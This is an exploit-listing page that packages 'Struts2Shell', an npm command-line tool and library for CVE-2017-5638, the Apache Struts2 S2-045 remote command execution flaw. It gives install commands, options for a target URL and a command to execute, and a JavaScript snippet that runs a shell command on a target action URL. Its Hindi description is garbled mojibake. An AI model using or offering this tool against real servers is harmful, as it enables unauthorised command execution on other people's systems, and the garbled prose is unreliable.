Sploitus

Exploit for Struts2Shell

kitploit ┬╖ 2026-08-25

Exploit Code

MARKDOWN45 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JPACORA-STRUTS2SHELL
# рд╕реНрдЯреНрд░рдЯреНрд╕2рд╢реЗрд▓

CVE-2017-5638 рдХреЗ рд▓рд┐рдП рдПрдХ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ (рдФрд░ рд▓рд╛рдЗрдмреНрд░реЗрд░реА) - Apache Struts2 S2-045 рдмрдЧред

## рд╕реНрдерд╛рдкрдирд╛

root@kitploit:~
    
    
    $ npm install -g struts2shell
    

## рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрдерд╛рдкрдирд╛

root@kitploit:~
    
    
    $ npm install struts2shell
    

## рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рд╡рд┐рдХрд▓реНрдк

root@kitploit:~
    
    
    -h, --help           рдЙрдкрдпреЛрдЧ рдЬрд╛рдирдХрд╛рд░реА рдЖрдЙрдЯрдкреБрдЯ рдХрд░реЗрдВ
    -V, --version        рд╡рд░реНрд╢рди рдирдВрдмрд░ рдЖрдЙрдЯрдкреБрдЯ рдХрд░реЗрдВ
    -u, --url [target]   рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХрд╛ URL
    -c, --cmd [command]  рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдХрдорд╛рдВрдб
    

## рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ

root@kitploit:~
    
    
    var Struts2Shell = require('struts2shell');
    Struts2Shell({
    	URL: 'http://example.com/some.action',
    	CMD: 'dir'
    }, function(err, response,body) {
        if(err) throw err;
        console.log(body)
    })